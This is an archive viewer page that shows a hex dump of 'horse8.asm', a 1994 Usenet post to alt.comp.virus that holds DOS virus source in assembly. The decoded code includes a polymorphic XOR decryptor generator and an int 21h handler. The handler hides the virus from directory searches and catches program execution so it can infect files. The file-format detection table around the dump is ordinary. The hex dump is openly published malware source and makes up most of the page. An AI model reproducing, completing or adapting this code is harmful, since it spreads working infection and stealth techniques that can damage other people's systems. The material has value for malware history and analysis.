home *** CD-ROM | disk | FTP | other *** search
/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / pc / virus / horse8.asm < prev    next >
Mailbox/MIME Entity  |  2003-06-11  |  21.4 KB

open in: MacOS 8.1     |     Win98     |     DOS

view JSON data     |     view as text

This file was processed as: Mailbox/MIME Entity (archive/mbox).

You can browse this item here: horse8.asm

ConfidenceProgramDetectionMatch TypeSupport
100% dexvert Mailbox/MIME Entity (archive/mbox) magic Supported
100% dexvert Internet Message Format (text/imf) magic Supported
100% dexvert Assembly Source File (text/asm) magic Supported
1% dexvert freeCAD assembly (other/freeCADAssembly) ext Unsupported
1% dexvert Text File (text/txt) fallback Supported
100% file Mailbox text, 1st line "From netcom.com!ix.netcom.com!howland.reston.ans.net!gatech!bloom-beacon.mit.edu!uhog.mit.edu!rutgers!engr.orst.edu!gaia.ucs.or", Non-ISO extended-ASCII text, with CRLF, LF line terminators default
100% TrID E-Mail message (Var. 2) default
100% perlTextCheck Likely Text (Perl) default
100% siegfried x-fmt/111 Plain Text File default
100% detectItEasy Format: plain text[LF] default (weak)
100% xdgMime application/mbox default



hex view
+--------+-------------------------+-------------------------+--------+--------+
|00000000| 46 72 6f 6d 20 6e 65 74 | 63 6f 6d 2e 63 6f 6d 21 |From net|com.com!|
|00000010| 69 78 2e 6e 65 74 63 6f | 6d 2e 63 6f 6d 21 68 6f |ix.netco|m.com!ho|
|00000020| 77 6c 61 6e 64 2e 72 65 | 73 74 6f 6e 2e 61 6e 73 |wland.re|ston.ans|
|00000030| 2e 6e 65 74 21 67 61 74 | 65 63 68 21 62 6c 6f 6f |.net!gat|ech!bloo|
|00000040| 6d 2d 62 65 61 63 6f 6e | 2e 6d 69 74 2e 65 64 75 |m-beacon|.mit.edu|
|00000050| 21 75 68 6f 67 2e 6d 69 | 74 2e 65 64 75 21 72 75 |!uhog.mi|t.edu!ru|
|00000060| 74 67 65 72 73 21 65 6e | 67 72 2e 6f 72 73 74 2e |tgers!en|gr.orst.|
|00000070| 65 64 75 21 67 61 69 61 | 2e 75 63 73 2e 6f 72 73 |edu!gaia|.ucs.ors|
|00000080| 74 2e 65 64 75 21 6d 79 | 68 6f 73 74 2e 73 75 62 |t.edu!my|host.sub|
|00000090| 64 6f 6d 61 69 6e 2e 64 | 6f 6d 61 69 6e 21 63 6c |domain.d|omain!cl|
|000000a0| 61 69 72 20 54 75 65 20 | 4e 6f 76 20 32 39 20 30 |air Tue |Nov 29 0|
|000000b0| 39 3a 35 35 3a 31 34 20 | 31 39 39 34 0a 58 72 65 |9:55:14 |1994.Xre|
|000000c0| 66 3a 20 6e 65 74 63 6f | 6d 2e 63 6f 6d 20 61 6c |f: netco|m.com al|
|000000d0| 74 2e 63 6f 6d 70 2e 76 | 69 72 75 73 3a 34 39 30 |t.comp.v|irus:490|
|000000e0| 0a 50 61 74 68 3a 20 6e | 65 74 63 6f 6d 2e 63 6f |.Path: n|etcom.co|
|000000f0| 6d 21 69 78 2e 6e 65 74 | 63 6f 6d 2e 63 6f 6d 21 |m!ix.net|com.com!|
|00000100| 68 6f 77 6c 61 6e 64 2e | 72 65 73 74 6f 6e 2e 61 |howland.|reston.a|
|00000110| 6e 73 2e 6e 65 74 21 67 | 61 74 65 63 68 21 62 6c |ns.net!g|atech!bl|
|00000120| 6f 6f 6d 2d 62 65 61 63 | 6f 6e 2e 6d 69 74 2e 65 |oom-beac|on.mit.e|
|00000130| 64 75 21 75 68 6f 67 2e | 6d 69 74 2e 65 64 75 21 |du!uhog.|mit.edu!|
|00000140| 72 75 74 67 65 72 73 21 | 65 6e 67 72 2e 6f 72 73 |rutgers!|engr.ors|
|00000150| 74 2e 65 64 75 21 67 61 | 69 61 2e 75 63 73 2e 6f |t.edu!ga|ia.ucs.o|
|00000160| 72 73 74 2e 65 64 75 21 | 6d 79 68 6f 73 74 2e 73 |rst.edu!|myhost.s|
|00000170| 75 62 64 6f 6d 61 69 6e | 2e 64 6f 6d 61 69 6e 21 |ubdomain|.domain!|
|00000180| 63 6c 61 69 72 0a 46 72 | 6f 6d 3a 20 63 6c 61 69 |clair.Fr|om: clai|
|00000190| 72 40 6d 79 68 6f 73 74 | 2e 73 75 62 64 6f 6d 61 |r@myhost|.subdoma|
|000001a0| 69 6e 2e 64 6f 6d 61 69 | 6e 20 28 54 68 65 20 43 |in.domai|n (The C|
|000001b0| 6c 61 69 72 76 6f 79 61 | 6e 74 29 0a 4e 65 77 73 |lairvoya|nt).News|
|000001c0| 67 72 6f 75 70 73 3a 20 | 61 6c 74 2e 63 6f 6d 70 |groups: |alt.comp|
|000001d0| 2e 76 69 72 75 73 0a 53 | 75 62 6a 65 63 74 3a 20 |.virus.S|ubject: |
|000001e0| 48 6f 72 73 65 38 0a 44 | 61 74 65 3a 20 32 38 20 |Horse8.D|ate: 28 |
|000001f0| 4e 6f 76 20 31 39 39 34 | 20 30 38 3a 32 38 3a 35 |Nov 1994| 08:28:5|
|00000200| 39 20 47 4d 54 0a 4f 72 | 67 61 6e 69 7a 61 74 69 |9 GMT.Or|ganizati|
|00000210| 6f 6e 3a 20 53 74 72 69 | 6e 67 20 74 6f 20 70 75 |on: Stri|ng to pu|
|00000220| 74 20 69 6e 20 74 68 65 | 20 4f 72 67 61 6e 69 7a |t in the| Organiz|
|00000230| 61 74 69 6f 6e 20 48 65 | 61 64 65 72 0a 4c 69 6e |ation He|ader.Lin|
|00000240| 65 73 3a 20 31 33 36 39 | 0a 4d 65 73 73 61 67 65 |es: 1369|.Message|
|00000250| 2d 49 44 3a 20 3c 33 62 | 63 34 63 62 24 6d 6a 63 |-ID: <3b|c4cb$mjc|
|00000260| 40 67 61 69 61 2e 75 63 | 73 2e 6f 72 73 74 2e 65 |@gaia.uc|s.orst.e|
|00000270| 64 75 3e 0a 4e 4e 54 50 | 2d 50 6f 73 74 69 6e 67 |du>.NNTP|-Posting|
|00000280| 2d 48 6f 73 74 3a 20 74 | 65 6d 70 65 73 74 2e 72 |-Host: t|empest.r|
|00000290| 68 6e 2e 6f 72 73 74 2e | 65 64 75 0a 58 2d 4e 65 |hn.orst.|edu.X-Ne|
|000002a0| 77 73 72 65 61 64 65 72 | 3a 20 54 49 4e 20 5b 76 |wsreader|: TIN [v|
|000002b0| 65 72 73 69 6f 6e 20 31 | 2e 32 20 50 4c 32 5d 0a |ersion 1|.2 PL2].|
|000002c0| 0a 0a 42 0a 0d 0a 20 20 | 20 20 20 20 20 20 2e 72 |..B... | .r|
|000002d0| 61 64 69 78 20 20 31 36 | 0d 0a 0d 0a 09 73 75 62 |adix 16|.....sub|
|000002e0| 09 62 6c 2c 62 6c 0d 0a | 09 6d 6f 76 09 63 78 2c |.bl,bl..|.mov.cx,|
|000002f0| 6f 66 66 73 65 74 20 6d | 73 67 2d 63 61 6c 6c 64 |offset m|sg-calld|
|00000300| 6f 73 2d 32 0d 0a 09 6d | 6f 76 09 73 69 2c 6f 66 |os-2...m|ov.si,of|
|00000310| 66 73 65 74 20 63 61 6c | 6c 64 6f 73 0d 0a 09 63 |fset cal|ldos...c|
|00000320| 6c 64 0d 0a 6c 70 70 3a | 0d 0a 09 6c 6f 64 73 62 |ld..lpp:|...lodsb|
|00000330| 0d 0a 09 78 6f 72 09 62 | 6c 2c 61 6c 0d 0a 09 6c |...xor.b|l,al...l|
|00000340| 6f 6f 70 09 6c 70 70 0d | 0a 09 6d 6f 76 09 62 79 |oop.lpp.|..mov.by|
|00000350| 74 65 20 70 74 72 20 5b | 63 68 65 63 6b 73 75 6d |te ptr [|checksum|
|00000360| 5d 2c 62 6c 0d 0a 0d 0a | 09 6d 6f 76 09 62 70 2c |],bl....|.mov.bp,|
|00000370| 6f 66 66 73 65 74 20 61 | 64 6a 75 73 74 0d 0a 09 |offset a|djust...|
|00000380| 63 61 6c 6c 09 69 6e 73 | 74 61 6c 6c 31 0d 0a 09 |call.ins|tall1...|
|00000390| 6d 6f 76 09 64 78 2c 6f | 66 66 73 65 74 20 48 65 |mov.dx,o|ffset He|
|000003a0| 6c 6c 6f 6d 73 67 0d 0a | 09 6d 6f 76 09 61 68 2c |llomsg..|.mov.ah,|
|000003b0| 39 0d 0a 09 69 6e 74 09 | 32 31 0d 0a 09 69 6e 74 |9...int.|21...int|
|000003c0| 09 32 30 0d 0a 0d 0a 48 | 65 6c 6c 6f 6d 73 67 20 |.20....H|ellomsg |
|000003d0| 64 62 09 30 61 2c 30 64 | 68 2c 27 4f 4b 20 66 72 |db.0a,0d|h,'OK fr|
|000003e0| 69 65 6e 64 2e 2e 2e 27 | 2c 30 61 2c 30 64 68 2c |iend...'|,0a,0dh,|
|000003f0| 27 24 27 0d 0a 0d 0a 09 | 56 69 72 75 73 5f 6c 65 |'$'.....|Virus_le|
|00000400| 6e 67 68 74 09 65 71 75 | 09 65 6e 64 63 6f 64 65 |nght.equ|.endcode|
|00000410| 2d 61 64 6a 75 73 74 0d | 0a 09 61 6c 6c 6c 65 6e |-adjust.|..alllen|
|00000420| 09 09 65 71 75 09 62 75 | 66 66 65 72 2d 61 64 6a |..equ.bu|ffer-adj|
|00000430| 75 73 74 0d 0a 0d 0a 09 | 61 64 6a 75 73 74 09 6c |ust.....|adjust.l|
|00000440| 61 62 65 6c 20 77 6f 72 | 64 0d 0a 0d 0a 09 6e 65 |abel wor|d.....ne|
|00000450| 77 5f 61 64 64 72 09 64 | 64 09 30 0d 0a 6c 61 73 |w_addr.d|d.0..las|
|00000460| 74 3a 0d 0a 09 6d 79 5f | 63 6f 75 6e 74 09 64 77 |t:...my_|count.dw|
|00000470| 09 30 0d 0a 0d 0a 09 63 | 68 65 63 6b 73 75 6d 09 |.0.....c|hecksum.|
|00000480| 64 62 09 30 0d 0a 0d 0a | 3b 2a 2a 2a 2a 2a 2a 2a |db.0....|;*******|
|00000490| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|000004a0| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|000004b0| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|000004c0| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 0d 0a 3b 20 |********|****..; |
|000004d0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|000004e0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|000004f0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00000500| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00000510| 20 2a 0d 0a 3b 20 20 20 | 20 20 20 20 20 20 20 20 | *..; | |
|00000520| 20 20 20 20 20 20 20 54 | 68 69 73 20 69 73 20 74 | T|his is t|
|00000530| 68 65 20 70 72 6f 67 72 | 61 6d 20 65 6e 74 72 79 |he progr|am entry|
|00000540| 2e 2e 2e 2e 20 20 20 20 | 20 20 20 20 20 20 20 20 |.... | |
|00000550| 20 20 20 20 20 20 20 2a | 0d 0a 3b 20 20 20 20 20 | *|..; |
|00000560| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00000570| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00000580| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00000590| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 2a 0d 0a | | *..|
|000005a0| 3b 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |;*******|********|
|000005b0| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|000005c0| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|000005d0| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|000005e0| 2a 2a 2a 2a 0d 0a 0d 0a | 53 74 61 72 74 5f 56 69 |****....|Start_Vi|
|000005f0| 72 75 73 3a 0d 0a 0d 0a | 46 69 72 73 74 5f 69 6e |rus:....|First_in|
|00000600| 73 74 72 20 6c 61 62 65 | 6c 20 77 6f 72 64 0d 0a |str labe|l word..|
|00000610| 0d 0a 6f 6c 64 09 6c 61 | 62 65 6c 09 64 77 6f 72 |..old.la|bel.dwor|
|00000620| 64 09 3b 0d 0a 0d 0a 09 | 63 6c 69 0d 0a 09 70 75 |d.;.....|cli...pu|
|00000630| 73 68 09 61 78 0d 0a 0d | 0a 20 20 20 20 20 20 20 |sh.ax...|. |
|00000640| 20 63 61 6c 6c 20 20 20 | 20 6e 65 78 74 6c 69 6e | call | nextlin|
|00000650| 65 0d 0a 0d 0a 6e 65 78 | 74 6c 69 6e 65 3a 0d 0a |e....nex|tline:..|
|00000660| 0d 0a 70 6f 70 72 65 67 | 09 6c 61 62 65 6c 20 62 |..popreg|.label b|
|00000670| 79 74 65 0d 0a 0d 0a 0d | 0a 09 64 62 09 30 31 30 |yte.....|..db.010|
|00000680| 31 31 30 30 30 62 20 3b | 70 6f 70 20 72 65 67 0d |11000b ;|pop reg.|
|00000690| 0a 0d 0a 70 75 73 68 72 | 65 67 20 6c 61 62 65 6c |...pushr|eg label|
|000006a0| 20 62 79 74 65 0d 0a 0d | 0a 09 64 62 09 30 31 30 | byte...|..db.010|
|000006b0| 31 30 30 30 30 62 20 3b | 70 75 73 68 20 72 65 67 |10000b ;|push reg|
|000006c0| 0d 0a 66 5f 67 3a 0d 0a | 0d 0a 09 64 62 09 31 30 |..f_g:..|...db.10|
|000006d0| 30 30 30 30 30 31 62 20 | 3b 61 64 64 20 72 65 67 |000001b |;add reg|
|000006e0| 2c 76 61 6c 75 65 0d 0a | 0d 0a 61 64 64 74 6f 72 |,value..|..addtor|
|000006f0| 65 67 20 20 6c 61 62 65 | 6c 20 62 79 74 65 0d 0a |eg labe|l byte..|
|00000700| 0d 0a 09 64 62 09 31 31 | 30 30 30 30 30 30 62 20 |...db.11|000000b |
|00000710| 3b 72 65 67 0d 0a 0d 0a | 09 64 77 09 6f 66 66 73 |;reg....|.dw.offs|
|00000720| 65 74 20 63 6f 64 65 64 | 73 74 61 72 74 2d 6e 65 |et coded|start-ne|
|00000730| 78 74 6c 69 6e 65 20 3b | 76 61 6c 75 65 0d 0a 0d |xtline ;|value...|
|00000740| 0a 6c 6f 61 64 63 6f 75 | 6e 74 20 6c 61 62 65 6c |.loadcou|nt label|
|00000750| 20 62 79 74 65 0d 0a 0d | 0a 09 64 62 09 31 30 31 | byte...|..db.101|
|00000760| 31 31 30 30 30 62 20 3b | 6d 6f 76 20 20 72 65 67 |11000b ;|mov reg|
|00000770| 2c 76 61 6c 75 65 0d 0a | 09 64 77 09 6f 66 66 73 |,value..|.dw.offs|
|00000780| 65 74 20 65 6e 64 63 6f | 64 65 2d 53 74 61 72 74 |et endco|de-Start|
|00000790| 5f 56 69 72 75 73 09 3b | 76 61 6c 75 65 0d 0a 0d |_Virus.;|value...|
|000007a0| 0a 77 68 65 72 65 3a 0d | 0a 0d 0a 64 65 63 6f 64 |.where:.|...decod|
|000007b0| 65 3a 0d 0a 0d 0a 09 64 | 62 09 30 30 32 65 09 3b |e:.....d|b.002e.;|
|000007c0| 78 6f 72 20 62 79 74 65 | 20 70 74 72 20 63 73 3a |xor byte| ptr cs:|
|000007d0| 5b 72 65 67 2b 30 5d 2c | 76 61 6c 75 65 0d 0a 09 |[reg+0],|value...|
|000007e0| 64 62 09 31 30 30 30 30 | 30 30 30 62 0d 0a 0d 0a |db.10000|000b....|
|000007f0| 78 6f 72 72 65 67 20 20 | 20 6c 61 62 65 6c 20 62 |xorreg | label b|
|00000800| 79 74 65 0d 0a 0d 0a 09 | 64 62 09 37 30 0d 0a 0d |yte.....|db.70...|
|00000810| 0a 42 0a 09 64 62 09 30 | 30 0d 0a 0d 0a 78 6f 72 |.B..db.0|0....xor|
|00000820| 76 61 6c 75 65 20 6c 61 | 62 65 6c 20 62 79 74 65 |value la|bel byte|
|00000830| 0d 0a 0d 0a 09 64 62 09 | 30 30 0d 0a 0d 0a 69 6e |.....db.|00....in|
|00000840| 63 6d 61 69 6e 20 20 6c | 61 62 65 6c 20 62 79 74 |cmain l|abel byt|
|00000850| 65 0d 0a 0d 0a 09 64 62 | 09 30 31 30 30 30 30 30 |e.....db|.0100000|
|00000860| 30 62 20 3b 69 6e 63 20 | 72 65 67 0d 0a 0d 0a 64 |0b ;inc |reg....d|
|00000870| 65 63 63 6f 75 6e 74 20 | 6c 61 62 65 6c 20 62 79 |eccount |label by|
|00000880| 74 65 0d 0a 0d 0a 09 64 | 62 09 30 31 30 30 31 30 |te.....d|b.010010|
|00000890| 30 30 62 20 3b 64 65 63 | 20 72 65 67 0d 0a 0d 0a |00b ;dec| reg....|
|000008a0| 09 6a 6e 7a 09 64 65 63 | 6f 64 65 0d 0a 0d 0a 63 |.jnz.dec|ode....c|
|000008b0| 6f 64 65 64 73 74 61 72 | 74 3a 0d 0a 0d 0a 09 70 |odedstar|t:.....p|
|000008c0| 6f 70 09 62 70 0d 0a 0d | 0a 09 6a 6d 70 09 63 6f |op.bp...|..jmp.co|
|000008d0| 64 65 64 73 74 61 72 74 | 31 0d 0a 0d 0a 3b 2a 2a |dedstart|1....;**|
|000008e0| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|000008f0| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|00000900| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|00000910| 0d 0a 3b 20 20 20 20 20 | 20 20 63 61 6c 6c 20 20 |..; | call |
|00000920| 20 20 6e 65 78 74 20 20 | 20 20 20 20 20 20 20 20 | next | |
|00000930| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00000940| 20 20 20 20 2a 0d 0a 3b | 6e 65 78 74 3a 20 20 20 | *..;|next: |
|00000950| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00000960| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00000970| 20 20 20 20 20 20 20 20 | 20 2a 0d 0a 3b 20 20 20 | | *..; |
|00000980| 20 20 20 20 70 6f 70 20 | 20 20 20 20 2a 72 65 67 | pop | *reg|
|00000990| 2a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |* | |
|000009a0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 2a 0d | | *.|
|000009b0| 0a 3b 20 20 20 20 20 20 | 20 70 75 73 68 20 20 20 |.; | push |
|000009c0| 20 2a 72 65 67 2a 20 20 | 20 20 20 20 20 20 20 20 | *reg* | |
|000009d0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|000009e0| 20 20 20 2a 0d 0a 3b 20 | 20 20 20 20 20 20 61 64 | *..; | ad|
|000009f0| 64 20 20 20 20 20 2a 72 | 65 67 2a 2c 63 6f 64 65 |d *r|eg*,code|
|00000a00| 73 74 61 72 74 2d 6e 65 | 78 74 6c 69 6e 65 20 20 |start-ne|xtline |
|00000a10| 20 20 20 20 20 20 20 20 | 2a 0d 0a 3b 20 20 20 20 | |*..; |
|00000a20| 20 20 20 6d 6f 76 20 20 | 20 20 20 2a 63 6f 75 6e | mov | *coun|
|00000a30| 74 72 65 67 2a 2c 65 6e | 64 63 6f 64 65 2d 63 6f |treg*,en|dcode-co|
|00000a40| 64 65 64 73 74 61 72 74 | 20 20 20 20 20 2a 0d 0a |dedstart| *..|
|00000a50| 3b 64 65 63 6f 64 65 3a | 20 20 20 20 20 20 20 20 |;decode:| |
|00000a60| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00000a70| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00000a80| 20 20 2a 0d 0a 3b 20 20 | 20 20 20 20 20 78 6f 72 | *..; | xor|
|00000a90| 20 20 20 20 20 62 79 74 | 65 20 70 74 72 20 63 73 | byt|e ptr cs|
|00000aa0| 3a 5b 2a 72 65 67 2a 2b | 30 5d 2c 78 6f 72 76 61 |:[*reg*+|0],xorva|
|00000ab0| 6c 75 65 20 20 20 20 2a | 0d 0a 3b 20 20 20 20 20 |lue *|..; |
|00000ac0| 20 20 69 6e 63 20 20 20 | 20 20 2a 72 65 67 2a 20 | inc | *reg* |
|00000ad0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00000ae0| 20 20 20 20 20 20 20 20 | 20 20 20 20 2a 0d 0a 3b | | *..;|
|00000af0| 20 20 20 20 20 20 20 64 | 65 63 20 20 20 20 20 2a | d|ec *|
|00000b00| 63 6f 75 6e 74 72 65 67 | 2a 20 20 20 20 20 20 20 |countreg|* |
|00000b10| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00000b20| 20 2a 0d 0a 3b 20 20 20 | 20 20 20 20 6a 6e 7a 20 | *..; | jnz |
|00000b30| 20 20 20 20 64 65 63 6f | 64 65 20 20 20 20 20 20 | deco|de |
|00000b40| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00000b50| 20 20 20 20 20 20 2a 0d | 0a 3b 20 20 20 20 20 20 | *.|.; |
|00000b60| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00000b70| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00000b80| 20 20 20 20 20 20 20 20 | 20 20 20 2a 0d 0a 3b 20 | | *..; |
|00000b90| 2a 72 65 67 2a 3d 69 6e | 64 65 78 20 72 65 67 69 |*reg*=in|dex regi|
|00000ba0| 73 74 65 72 2c 2a 63 6f | 75 6e 74 72 65 67 2a 3d |ster,*co|untreg*=|
|00000bb0| 72 65 67 69 73 74 65 72 | 20 20 20 20 20 20 20 20 |register| |
|00000bc0| 2a 0d 0a 3b 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |*..;****|********|
|00000bd0| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|00000be0| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|00000bf0| 2a 2a 2a 2a 2a 2a 0d 0a | 0d 0a 63 61 6c 6c 64 6f |******..|..calldo|
|00000c00| 73 3a 0d 0a 0d 0a 09 70 | 75 73 68 66 0d 0a 09 63 |s:.....p|ushf...c|
|00000c10| 61 6c 6c 09 64 77 6f 72 | 64 20 70 74 72 20 63 73 |all.dwor|d ptr cs|
|00000c20| 3a 5b 6f 6c 64 2d 61 64 | 6a 75 73 74 5d 0d 0a 20 |:[old-ad|just].. |
|00000c30| 20 20 20 20 20 20 20 72 | 65 74 0d 0a 0d 0a 0d 0a | r|et......|
|00000c40| 67 69 76 65 5f 68 69 6d | 3a 0d 0a 0d 0a 09 70 75 |give_him|:.....pu|
|00000c50| 73 68 09 62 70 0d 0a 3a | 09 6d 6f 76 09 62 70 2c |sh.bp..:|.mov.bp,|
|00000c60| 73 70 0d 0a 09 70 75 73 | 68 09 61 78 0d 0a 09 70 |sp...pus|h.ax...p|
|00000c70| 75 73 68 09 73 69 09 09 | 3b 79 6f 75 20 63 61 6e |ush.si..|;you can|
|00000c80| 27 74 20 75 73 65 20 74 | 68 69 73 20 66 75 6e 63 |'t use t|his func|
|00000c90| 74 69 6f 6e 20 69 6c 6c | 65 67 61 6c 6c 79 2e 2e |tion ill|egally..|
|00000ca0| 2e 0d 0a 09 70 75 73 68 | 09 64 73 0d 0a 09 6c 64 |....push|.ds...ld|
|00000cb0| 73 09 73 69 2c 5b 62 70 | 2b 32 5d 0d 0a 09 6c 6f |s.si,[bp|+2]...lo|
|00000cc0| 64 73 77 0d 0a 09 73 75 | 62 09 61 78 2c 30 43 30 |dsw...su|b.ax,0C0|
|00000cd0| 30 38 0d 0a 09 6a 7a 09 | 6d 65 0d 0a 09 63 6c 69 |08...jz.|me...cli|
|00000ce0| 0d 0a 09 68 6c 74 0d 0a | 6d 65 3a 0d 0a 09 70 6f |...hlt..|me:...po|
|00000cf0| 70 09 64 73 0d 0a 09 70 | 6f 70 09 73 69 0d 0a 09 |p.ds...p|op.si...|
|00000d00| 70 6f 70 09 61 78 0d 0a | 09 70 6f 70 09 62 70 0d |pop.ax..|.pop.bp.|
|00000d10| 0a 0d 0a 09 63 6d 70 09 | 62 79 74 65 20 70 74 72 |....cmp.|byte ptr|
|00000d20| 20 63 73 3a 5b 6c 61 73 | 74 2d 61 64 6a 75 73 74 | cs:[las|t-adjust|
|00000d30| 5d 2c 30 46 46 20 3b 41 | 6c 72 65 61 64 79 20 67 |],0FF ;A|lready g|
|00000d40| 6f 74 3f 0d 0a 09 6a 65 | 09 67 6f 74 74 65 6e 0d |ot?...je|.gotten.|
|00000d50| 0a 09 63 6d 70 09 62 79 | 74 65 20 70 74 72 20 63 |..cmp.by|te ptr c|
|00000d60| 73 3a 5b 66 5f 67 2d 61 | 64 6a 75 73 74 5d 2c 30 |s:[f_g-a|djust],0|
|00000d70| 46 46 0d 0a 09 6a 6e 65 | 09 67 6f 74 74 65 6e 0d |FF...jne|.gotten.|
|00000d80| 0a 61 6c 6c 5f 6f 6b 3a | 0d 0a 09 6d 6f 76 09 65 |.all_ok:|...mov.e|
|00000d90| 73 2c 77 6f 72 64 20 70 | 74 72 20 63 73 3a 5b 77 |s,word p|tr cs:[w|
|00000da0| 68 65 72 65 2d 61 64 6a | 75 73 74 5d 0d 0a 09 6d |here-adj|ust]...m|
|00000db0| 6f 76 09 62 79 74 65 20 | 70 74 72 20 63 73 3a 5b |ov.byte |ptr cs:[|
|00000dc0| 6c 61 73 74 2d 61 64 6a | 75 73 74 5d 2c 30 46 46 |last-adj|ust],0FF|
|00000dd0| 0d 0a 09 69 72 65 74 0d | 0a 0d 0a 67 6f 5f 6f 75 |...iret.|...go_ou|
|00000de0| 74 32 3a 0d 0a 09 6a 6d | 70 09 6f 75 74 0d 0a 0d |t2:...jm|p.out...|
|00000df0| 0a 67 6f 74 74 65 6e 3a | 0d 0a 09 78 63 68 67 09 |.gotten:|...xchg.|
|00000e00| 61 68 2c 61 6c 0d 0a 09 | 69 72 65 74 0d 0a 0d 0a |ah,al...|iret....|
|00000e10| 46 46 5f 6f 6c 64 31 3a | 0d 0a 09 63 61 6c 6c 09 |FF_old1:|...call.|
|00000e20| 63 61 6c 6c 64 6f 73 0d | 0a 09 6a 6d 70 09 46 46 |calldos.|..jmp.FF|
|00000e30| 5f 6f 6c 64 0d 0a 0d 0a | 46 46 5f 6e 65 77 31 3a |_old....|FF_new1:|
|00000e40| 0d 0a 09 63 61 6c 6c 09 | 63 61 6c 6c 64 6f 73 0d |...call.|calldos.|
|00000e50| 0a 09 6a 6d 70 09 46 46 | 5f 6e 65 77 0d 0a 0d 0a |..jmp.FF|_new....|
|00000e60| 0d 0a 72 65 73 3a 0d 0a | 09 63 6d 70 09 61 78 2c |..res:..|.cmp.ax,|
|00000e70| 30 46 41 30 31 68 0d 0a | 09 6a 65 09 67 69 76 65 |0FA01h..|.je.give|
|00000e80| 5f 68 69 6d 0d 0a 0d 0a | 09 63 6d 70 09 61 68 2c |_him....|.cmp.ah,|
|00000e90| 31 31 0d 0a 09 6a 65 09 | 46 46 5f 6f 6c 64 31 0d |11...je.|FF_old1.|
|00000ea0| 0a 09 63 6d 70 09 61 68 | 2c 31 32 0d 0a 09 6a 65 |..cmp.ah|,12...je|
|00000eb0| 09 46 46 5f 6f 6c 64 31 | 0d 0a 09 63 6d 70 09 61 |.FF_old1|...cmp.a|
|00000ec0| 68 2c 34 65 0d 0a 09 6a | 65 09 46 46 5f 6e 65 77 |h,4e...j|e.FF_new|
|00000ed0| 31 0d 0a 09 63 6d 70 09 | 61 68 2c 34 66 0d 0a 09 |1...cmp.|ah,4f...|
|00000ee0| 6a 65 09 46 46 5f 6e 65 | 77 31 0d 0a 09 63 6d 70 |je.FF_ne|w1...cmp|
|00000ef0| 09 61 78 2c 34 62 30 30 | 0d 0a 09 6a 6e 65 09 67 |.ax,4b00|...jne.g|
|00000f00| 6f 5f 6f 75 74 32 0d 0a | 09 63 6d 70 09 62 79 74 |o_out2..|.cmp.byt|
|00000f10| 65 20 70 74 72 20 63 73 | 3a 5b 66 5f 67 2d 61 64 |e ptr cs|:[f_g-ad|
|00000f20| 6a 75 73 74 5d 2c 30 46 | 46 0d 0a 09 6a 65 09 67 |just],0F|F...je.g|
|00000f30| 6f 5f 6f 75 74 32 0d 0a | 09 70 75 73 68 09 61 78 |o_out2..|.push.ax|
|00000f40| 0d 0a 20 20 20 20 20 20 | 20 20 70 75 73 68 20 20 |.. | push |
|00000f50| 20 20 62 78 0d 0a 09 70 | 75 73 68 09 63 78 0d 0a | bx...p|ush.cx..|
|00000f60| 09 70 75 73 68 09 64 78 | 0d 0a 09 70 75 73 68 09 |.push.dx|...push.|
|00000f70| 73 69 0d 0a 09 70 75 73 | 68 09 64 69 0d 0a 09 70 |si...pus|h.di...p|
|00000f80| 75 73 68 09 64 73 0d 0a | 09 70 75 73 68 09 65 73 |ush.ds..|.push.es|
|00000f90| 0d 0a 0d 0a 09 70 75 73 | 68 09 64 73 0d 0a 20 20 |.....pus|h.ds.. |
|00000fa0| 20 20 20 20 20 20 6d 6f | 76 20 20 20 20 20 61 68 | mo|v ah|
